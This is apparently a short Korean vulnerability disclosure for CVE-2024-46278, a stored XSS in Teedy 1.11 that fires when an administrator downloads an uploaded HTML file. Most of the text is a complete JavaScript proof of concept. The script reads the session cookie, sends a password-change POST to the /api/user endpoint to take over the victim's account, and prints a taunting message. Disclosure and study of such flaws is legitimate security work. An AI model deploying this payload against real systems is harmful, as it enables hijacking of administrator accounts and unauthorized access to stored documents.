
【Teedy 1.11】XSS를 통한 계정 탈취
【Teedy 1.11】XSS를 통한 계정 탈취
파일 다운로드 시 XSS를 유발하는 취약점이 존재합니다. 이 XSS 취약점으로 인해 Teedy 관리자가 몇 번의 클릭만으로 계정을 탈취할 수 있습니다.
이 취약점은 CVE-2024-46278로 지정되었습니다: https://www.cve.org/CVERecord?id=CVE-2024-46278
html 형식으로 업로드합니다. 필요에 따라 fetch의 “Origin”, “Referer” 및 인수를 변경해야 합니다.<script>
const currentCookie = document.cookie;
const requestOptions = {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded;charset=UTF-8',
'Accept': 'application/json, text/plain, */*',
'Cookie': currentCookie,
'sec-ch-ua': '"Not_A Brand";v="8", "Chromium";v="120"',
'sec-ch-ua-mobile': '?0',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36',
'sec-ch-ua-platform': '"Linux"',
'Origin': 'http://localhost:8080',
'Sec-Fetch-Site': 'same-origin',
'Sec-Fetch-Mode': 'cors',
'Sec-Fetch-Dest': 'empty',
'Referer': 'http://localhost:8080/',
'Accept-Encoding': 'gzip, deflate, br',
'Accept-Language': 'en-US,en;q=0.9'
},
body: 'password=superSecure2&passwordconfirm=superSecure2'
};
fetch('http://localhost:8080/api/user', requestOptions)
.then(response => {
if (!response.ok) {
throw new Error('Network response was not ok');
}
document.write('<h1>Your account was taken over by the attacker LOL</h1>');
return response.json();
})
.then(data => console.log(data))
.catch(error => console.error('There was a problem with your fetch operation:', error));
</script>
admin이 파일 다운로드를 선택합니다.